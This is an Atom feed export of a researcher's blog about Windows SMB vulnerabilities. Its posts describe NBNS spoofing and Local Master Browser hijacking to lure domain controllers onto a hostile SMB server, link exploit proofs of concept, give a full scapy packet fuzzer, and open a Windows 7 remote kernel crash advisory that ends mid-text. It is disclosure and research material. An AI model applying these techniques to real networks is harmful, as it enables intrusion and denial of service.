<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3247452330105635425</id><updated>2012-01-28T03:14:06.354-08:00</updated><title type='text'>Laurent Gaffié blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-2664658872576912333</id><published>2010-08-11T17:37:00.000-07:00</published><updated>2010-08-11T17:39:06.762-07:00</updated><title type='text'>MS SMB Remote Trans2 Zero Size Pool Allocation (MS10-054)</title><content type='html'>This SMBv1 vulnerability has been disclosed to MS back in february 2010 and patched this month in MS10-054 bulletin.&lt;br /&gt;&lt;br /&gt;This vulnerability is quite interesting since it's present in all Windows version since &lt;i&gt;Windows 2000&lt;/i&gt;, and can be triggered easily in at least 2 different Trans2 opcode by setting a Max Data Count to 0;&lt;br /&gt;- &lt;i&gt;QUERY_FS_INFO Query FS Attribute Info&lt;/i&gt;&lt;br /&gt;- &lt;i&gt;QUERY_FS_INFO, Query FS Volume Info&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;You can find the full advisory here: http://seclists.org/fulldisclosure/2010/Aug/122&lt;br /&gt;SRD blog entry: http://blogs.technet.com/b/srd/archive/2010/08/10/ms10-054-exploitability-details-for-the-smb-server-update.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-2664658872576912333?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/2664658872576912333/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2010/08/ms-smb-remote-trans2-zero-size-pool.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/2664658872576912333'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/2664658872576912333'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2010/08/ms-smb-remote-trans2-zero-size-pool.html' title='MS SMB Remote Trans2 Zero Size Pool Allocation (MS10-054)'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-9130041849125733468</id><published>2010-05-12T06:16:00.000-07:00</published><updated>2010-05-13T04:38:02.009-07:00</updated><title type='text'>Fuzzing lib released</title><content type='html'>This is a fuzzing lib I've been working on for a while (it's not a complete one, but still pretty powerfull), you can adapt it very easily to your fuzzer by invoking ;&lt;br /&gt;&lt;br /&gt;import lib&lt;br /&gt;from lib import *&lt;br /&gt;&lt;br /&gt;Then you call one specific function, or randfunc().&lt;br /&gt;randfunc will basicaly choose randomly the function in the lib to fuzz with.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Here's a quick example using this lib;&lt;br /&gt;&lt;br /&gt;http://pastebin.com/fNFAW3Fh&amp;nbsp;&amp;nbsp; -- &amp;gt; this is not a smb fuzzer, it's simply an example of using this lib....&lt;br /&gt;&lt;br /&gt;And yes you need to include the lib, which is located here ;&lt;br /&gt;&lt;br /&gt;http://pastebin.com/xgPXpGtw&lt;br /&gt;&lt;br /&gt;Enjoy !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-9130041849125733468?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/9130041849125733468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2010/05/fuzzing-lib-released.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/9130041849125733468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/9130041849125733468'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2010/05/fuzzing-lib-released.html' title='Fuzzing lib released'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-4651302668527154989</id><published>2010-04-17T07:12:00.000-07:00</published><updated>2010-04-17T07:42:14.600-07:00</updated><title type='text'>MS10-020</title><content type='html'>This bug was discovered back in december 2009, and patched by microsoft in April 2010.&lt;br /&gt;This issue is a basic stack overflow affecting only windows 7/2008R2 smb1 implementation.&lt;br /&gt;It's actually a nice bug as the affected function is not protected by a canary, and allow us to redirect the flow anywhere we want to.&lt;br /&gt;You can find the full advisory about this bug here : http://seclists.org/fulldisclosure/2010/Apr/201&lt;br /&gt;Have phun !&lt;br /&gt;PoC url : http://pastebin.com/h3jSyJTN&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/__1-6-1is-1Y/S8nCSlrscJI/AAAAAAAAAG0/6rLXQQ0TDDs/s1600/Windows7-32-2010-04-17-16-52-17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/__1-6-1is-1Y/S8nCSlrscJI/AAAAAAAAAG0/6rLXQQ0TDDs/s320/Windows7-32-2010-04-17-16-52-17.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-4651302668527154989?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/4651302668527154989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2010/04/ms10-020.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/4651302668527154989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/4651302668527154989'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2010/04/ms10-020.html' title='MS10-020'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__1-6-1is-1Y/S8nCSlrscJI/AAAAAAAAAG0/6rLXQQ0TDDs/s72-c/Windows7-32-2010-04-17-16-52-17.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-8690841192221963812</id><published>2010-04-15T15:24:00.000-07:00</published><updated>2010-04-16T02:35:22.249-07:00</updated><title type='text'>Turning SMB client bug to server side</title><content type='html'>This blog post is about a technic to automate with &lt;b&gt;no user interaction at all&lt;/b&gt; SMB client side bug exploitation targeting the Domain Master Browser (DMB) or PDC&amp;nbsp; &lt;a href="http://support.microsoft.com/kb/188001"&gt;(only the PDC can be a DMB)&lt;/a&gt;which is basicaly the perfect target in a pentest. Targeting the DMB is perfect, simply because if you control that box, you'll control all computer joined to this box tree. &lt;br /&gt;&lt;br /&gt;Since the SRD is &lt;a href="http://blogs.technet.com/srd/archive/2010/04/12/smb-client-update-blog-post.aspx"&gt;once again downplaying&lt;/a&gt; SMB client side bug i think it's important to share this kind of tricks.&lt;br /&gt;&lt;br /&gt;It's also important to mention that Browser and NBNS abusing is well known since a long time, as theses protocols wasn't developed with security in mind, this blog post is a simple real case example.&lt;br /&gt;&lt;br /&gt;There's two way to automate SMB client side bug;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;NBNS Spoofing (require some "kind" of user interaction in some way,&amp;nbsp;&amp;nbsp;  anyways&amp;nbsp; in a corporate network it works pretty well) &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Browser Protocol Abusing (the funny one)&lt;/li&gt;&lt;/ul&gt;In this case I will cover a form of Browser Protocol Abusing.&lt;br /&gt;&lt;br /&gt;The basic goal of this attack is to hijack the Local Master Browser (LMB), and there's various way to do so;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Register via NBNS on the Workgroup or domain, and launch an election (zero filled election packet), the winning criteria is first the browser version, and then the box capabilities, which is controlled by us.&lt;/li&gt;&lt;li&gt; Create a NBNS name/ip conflict with the LMB and after 3 shot send a "Name Overwrite Demand" packet&lt;/li&gt;&lt;li&gt;Reset the LMB&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;Why targeting the LMB ?&lt;br /&gt;Simple, the Backup browser will sync via SMB (NetServerEnum2) on the LMB every 15 mn.&lt;br /&gt;We don't care that much about the Backup Browser, what we want it's the DMB, and guess what, he's also syncing on the LMB as soon you send him a Browser MasterAnnouncement :]&lt;br /&gt;&lt;br /&gt;In this case, i will wait for a HostAnnouncement, a&amp;nbsp; LocalMasterAnnouncement or an ElectionResquest, then I will send two LMB ResetBrowserState;&lt;br /&gt;- one Reset_state clear_all&lt;br /&gt;- one Reset_state stop_master&lt;br /&gt;&lt;br /&gt;Which will directly kill the LMB (at least on Windows implementation).&lt;br /&gt;Then you can launch an election that you're sure to win (as mentionned before), &lt;br /&gt;make a Local Master Browser Announcement, and finally a MasterAnnouncement, then the DMB will connect direclty to your fake server and get pwned (or not). &lt;br /&gt;&lt;br /&gt;Here's a quickly made proof of concept which work pretty well , it also have a NBNS spoofer just in case an admin try to access a share:]&lt;br /&gt;&lt;br /&gt;I included a proof of concept for a previously discovered bug patched in february (MS10-006), you can find the full advisory here: http://seclists.org/fulldisclosure/2010/Feb/168&lt;br /&gt;&lt;br /&gt;Note: Make sure your SMB server/exploit listen on 139 and 445, and can  handle NBSS session request, if not, you wont get any candy.&lt;br /&gt;&lt;br /&gt;Since Blogger is not python friendly:&amp;nbsp; http://pastebin.com/YBtzs9yr&lt;br /&gt;&lt;br /&gt;A bug like MS10-006 can be easily wormable if exploited with this kind of approach.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-8690841192221963812?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/8690841192221963812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8690841192221963812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/8690841192221963812'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html' title='Turning SMB client bug to server side'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-9032563022904008176</id><published>2010-02-09T15:51:00.000-08:00</published><updated>2010-02-10T02:31:20.396-08:00</updated><title type='text'>More details on MS10-006</title><content type='html'>An Advisory as been released by Microsoft patching &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS10-006.mspx"&gt;MS10-006&lt;/a&gt;.&lt;br /&gt;This vulnerability as been found back in november while testing some client side vulnerability on SMB.&lt;br /&gt;A full advisory regarding the details of this issue is &lt;a href="http://seclists.org/fulldisclosure/2010/Feb/168"&gt;located here&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Regarding the &lt;a href="http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx"&gt;SRD statement&lt;/a&gt; for smb client possible exploitation i'd like to add &amp; post a small tool abusing netbios name service functionnality.&lt;br /&gt;&lt;a href="http://www.skullsecurity.org/"&gt;Ronald Bowes&lt;/a&gt; did some great work with &lt;a href="http://www.skullsecurity.org/wiki/index.php/Nbtool"&gt;nbtool&lt;/a&gt; for such purpose.&lt;br /&gt;&lt;br /&gt;You can find a small version in python &lt;a href="http://pastebin.com/f7d970467"&gt;here&lt;/a&gt;;&lt;br /&gt;&lt;br /&gt;Basicly, anyone on the segment using :&lt;br /&gt;net use \\blabla\share&lt;br /&gt;net view \\blabla\share&lt;br /&gt;dir \\blabla\share&lt;br /&gt;etc&lt;br /&gt;On vista/7/server2008|R2 it's also possible to use start -&gt; search box --&gt; \\existing_machine\share&lt;br /&gt;&lt;br /&gt;Any of these command result in a NBNS query asking which IP is using this netbios name&lt;br /&gt;Then this small utility will answer it's at "attacker_IP".&lt;br /&gt;Once the ip resolved, the machine will initiate a smb connection to that IP.&lt;br /&gt;You can also abuse the BROWSER service for same kind of purpose, I will post a full entry when i get some free time ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-9032563022904008176?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/9032563022904008176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2010/02/more-details-on-ms10-006.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/9032563022904008176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/9032563022904008176'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2010/02/more-details-on-ms10-006.html' title='More details on MS10-006'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-6713973832978315669</id><published>2009-11-22T19:15:00.001-08:00</published><updated>2009-11-23T09:58:04.527-08:00</updated><title type='text'>Releasing ICMPv4/IP fuzzer prototype</title><content type='html'>This is a short message to release an IP/ICMPv4 fuzzer, destinated for UTesting, and else.&lt;br /&gt;I'd like to thanks Philippe Biondi for making such a library as scapy &lt;br /&gt;&lt;br /&gt;In this example we go deep as layer 3 fuzzing, thanks scapy, we fuzz IP and ICMP by disassembling the packet in bytes, and modifing it, and then joining it and sending back&lt;br /&gt;&lt;br /&gt;You can simply capture a ping echo (for example) you sended and then fuzz it, you will need to replace the checksum bytes by 00 00 always, for more information :&lt;br /&gt;&lt;br /&gt;http://www.networksorcery.com/enp/protocol/ip.htm&lt;br /&gt;http://www.networksorcery.com/enp/protocol/icmp.htm&lt;br /&gt;&lt;br /&gt;You can easily adapt this fuzzer to any kind of networking fuzzing.&lt;br /&gt;&lt;br /&gt;Dont forget it's a prototype, and i ASSUME you know what you're doing, do not ask for help.&lt;br /&gt;&lt;br /&gt;As blogger is not python friendly: http://pastebin.com/f5c536013&lt;br /&gt;&lt;br /&gt;Have fun with this concept :)&lt;br /&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;import random, sys,logging,os&lt;br /&gt;from random import *&lt;br /&gt;from scapy.all import *&lt;br /&gt;logging.getLogger("scapy").setLevel(1)&lt;br /&gt;&lt;br /&gt;##fuzzer core##&lt;br /&gt;def onerand(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    print "fuzzing rand byte:%s\n" % (byte.encode("hex"))&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def doublerand(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    byte2 = str(chr(choice(range(256))))&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    pack[choice(range(len(packet)))]= byte2&lt;br /&gt;    print "fuzzing rand byte:%s byte2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def longrand(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    lon = randrange(0,600)&lt;br /&gt;    pack[choice(range(len(packet)))]= byte*lon&lt;br /&gt;    print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def longerrand(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    lon = randrange(0,600)&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    pack[choice(range(len(packet)))]= byte*lon&lt;br /&gt;    print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def longerrandnull(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    lon = randrange(0,600)&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    pack[choice(range(len(packet)))]= byte+"\x00"*lon&lt;br /&gt;    print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def opnum(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(0,2))))&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    print "fuzzing opnum:%s\n" % (byte.encode("hex"))&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def doubleopnum(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    byte = str(chr(choice(range(0,2))))&lt;br /&gt;    byte2 = str(chr(choice(range(0,2))))&lt;br /&gt;    pack[choice(range(len(packet)))]= byte&lt;br /&gt;    pack[choice(range(len(packet)))]= byte2&lt;br /&gt;    print "fuzzing opnum:%s et opnum no-2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def remove1(packet):&lt;br /&gt;    pack  = packet[:]&lt;br /&gt;    i = randrange(0, len(pack)-1)&lt;br /&gt;    b = pack[:i] + pack[i+1:]&lt;br /&gt;    print "remove one char fuzz, removed :%s"%(pack[i].encode("hex"))&lt;br /&gt;    return b&lt;br /&gt;&lt;br /&gt;def changenull(packet):&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    null = [i for i in range(len(pack)) if pack[i] == '\x00']&lt;br /&gt;    byte = str(chr(choice(range(256))))&lt;br /&gt;    pack[choice(null)] = byte&lt;br /&gt;    print "replaced one null by a %s"%(byte.encode("hex"))&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def removenull(packet):&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    null = [i for i in range(len(pack)) if pack[i] == '\x00']&lt;br /&gt;    num = choice(null)&lt;br /&gt;    del pack[choice(null)]&lt;br /&gt;    print "deleted null no-:%s"%(num)&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def randfunc(packet):&lt;br /&gt;    func = choice([onerand,doublerand,longrand,longerrand,longerrandnull,removenull,changenull,remove1,doubleopnum,opnum])&lt;br /&gt;    print "using %s fuzzing type (HARD)"%(func.__name__) &lt;br /&gt;    return func(packet)&lt;br /&gt;&lt;br /&gt;def zenfunc(packet):&lt;br /&gt;    func = choice([onerand,removenull,changenull,remove1,doubleopnum,opnum])&lt;br /&gt;    print "using %s fuzzing type (ZEN)"%(func.__name__) &lt;br /&gt;    return func(packet)&lt;br /&gt;&lt;br /&gt;##End fuzzer core##&lt;br /&gt;&lt;br /&gt;ip = [chr(int(a, 16)) for a in """&lt;br /&gt;4e fe 01 08 00 00 40 00 fa 01 00 00 c0 a8 02 64&lt;br /&gt;c0 a8 02 65 44 24 0d 01 c0 a8 02 64 04 80 30 77&lt;br /&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;00 00 00 00 00 00 00 00""".split()]&lt;br /&gt;&lt;br /&gt;icmp = [chr(int(a, 16)) for a in """&lt;br /&gt;08 00 00 00 00 00 00 04 75 54 08 4b 00 00 00 00&lt;br /&gt;04 6b 0d 00 00 00 00 00 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br /&gt;""".split()]&lt;br /&gt;&lt;br /&gt;def longueur(payload):&lt;br /&gt;   length = struct.pack("&gt;i", len(''.join(payload)))&lt;br /&gt;   a= length[2:4]&lt;br /&gt;   pack = payload[:]&lt;br /&gt;   pack[2:4]= a&lt;br /&gt;   return pack&lt;br /&gt;&lt;br /&gt;def OpIP(packet):&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    num = str(chr(choice(range(1,9))))&lt;br /&gt;    num1 = str(chr(choice(range(0,150))))&lt;br /&gt;    #pack[0] = num&lt;br /&gt;    #pack[9] = num1&lt;br /&gt;    print "fuzzing version OPNUM no-:%s and nh OPNUM no-:%s"%(num.encode("hex"),num1.encode("hex"))&lt;br /&gt;    return pack   &lt;br /&gt;&lt;br /&gt;def OpIcmp(packet):&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    num = str(chr(choice(range(0,42))))&lt;br /&gt;    pack[0] = num&lt;br /&gt;    print "fuzzing ICMP OPNUM no-:%s"%(num.encode("hex"))&lt;br /&gt;    return pack &lt;br /&gt;&lt;br /&gt;##checksum calculation and replacement##&lt;br /&gt;##checksum() ripped from scapy, hard to do better...&lt;br /&gt;def checksum(pkt):&lt;br /&gt;    pkt=str(pkt)&lt;br /&gt;    s=0&lt;br /&gt;    if len(pkt) % 2 == 1:&lt;br /&gt;        pkt += "\0"&lt;br /&gt;    for i in range(len(pkt)/2):&lt;br /&gt;        s = s +  (struct.unpack("!H",pkt[2*i:2*i+2])[0])&lt;br /&gt;    s = (s &gt;&gt; 16) + (s &amp; 0xffff)&lt;br /&gt;    s += s &gt;&gt; 16&lt;br /&gt;    return  ~s &amp; 0xffff&lt;br /&gt;##/checksum() ripped from scapy, hard to do better...&lt;br /&gt;&lt;br /&gt;def add_checksum(packet):&lt;br /&gt;    a = struct.pack("&gt;i",checksum(''.join(packet)))&lt;br /&gt;    b =  a[2:4]&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    pack[2:4]=b&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;def add_ip_checksum(packet):&lt;br /&gt;    a = struct.pack("&gt;i",checksum(''.join(packet)))&lt;br /&gt;    b =  a[2:4]&lt;br /&gt;    pack = packet[:]&lt;br /&gt;    pack[10:12]=b&lt;br /&gt;    return pack&lt;br /&gt;&lt;br /&gt;##checksum calculation and replacement##&lt;br /&gt;&lt;br /&gt;### snort is an example of hookin' a prog in your fuzzin'&lt;br /&gt;&lt;br /&gt;pid = os.system("pidof snort")&lt;br /&gt;while os.system("pidof snort") == pid:&lt;br /&gt;&lt;br /&gt;    a = longueur(zenfunc(ip)+add_checksum(randfunc(icmp)))&lt;br /&gt;    b = ''.join(add_ip_checksum(a))&lt;br /&gt;    packet = (Ether(dst="ff:ff:ff:ff:ff:ff",type=0x0800)/b) &lt;br /&gt;    print "packet IP:%s\n"%(b.encode("hex"))&lt;br /&gt;    sendp(packet)&lt;br /&gt;&lt;br /&gt;    ##enjoy !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-6713973832978315669?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/6713973832978315669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/11/releasing-icmpv4ip-fuzzer-prototype.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/6713973832978315669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/6713973832978315669'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/11/releasing-icmpv4ip-fuzzer-prototype.html' title='Releasing ICMPv4/IP fuzzer prototype'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-8220669087658882727</id><published>2009-11-11T00:53:00.000-08:00</published><updated>2011-11-02T13:01:30.664-07:00</updated><title type='text'>Windows 7 / Server 2008R2 Remote Kernel Crash</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This bug is a real proof that SDL FAIL&lt;br /&gt;The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...&lt;br /&gt;Can be trigered outside the lan via (IE*)&lt;br /&gt;The bug is so basic, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:&lt;br /&gt;&lt;br /&gt;netbios_header = struct.pack("&amp;gt;i", len(''.join(SMB_packet))+SMB_packet&lt;br /&gt;(The netbios header provide the length of the incoming smb{1,2} packet)&lt;br /&gt;&lt;br /&gt;If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !&lt;br /&gt;WHAT ?? you gotta be kidding me where's my SDL ?!?&lt;br /&gt;&lt;br /&gt;"Most secure Os ever";&lt;br /&gt;What ever your firewall is set to, you can get remotely smashed via IE or even via some broadcasting nbns tricks (no user interaction)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Advisory:&lt;br /&gt;&lt;br /&gt;=============================================&lt;br /&gt;- Release date: November 11th, 2009&lt;br /&gt;- Discovered by: Laurent Gaffié&lt;br /&gt;- Severity: Medium/High&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;I. VULNERABILITY&lt;br /&gt;-------------------------&lt;br /&gt;Windows 7 * , Server 2008R2 Remote Kernel Crash&lt;br /&gt;&lt;br /&gt;II. BACKGROUND&lt;br /&gt;-------------------------&lt;br /&gt;..&lt;br /&gt;&lt;br /&gt;III. DESCRIPTION&lt;br /&gt;-------------------------&lt;br /&gt;See : http://g-laurent.blogspot.com/ for much more details&lt;br /&gt;&lt;br /&gt;#Comment: This bug is specific Windows 7/2008R2.&lt;br /&gt;&lt;br /&gt;IV. PROOF OF CONCEPT&lt;br /&gt;-------------------------&lt;br /&gt;#win7-crash.py:&lt;br /&gt;#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)&lt;br /&gt;#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.&lt;br /&gt;#NO BSOD, YOU GOTTA PULL THE PLUG.&lt;br /&gt;#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash &lt;br /&gt;#Author: Laurent Gaffié&lt;br 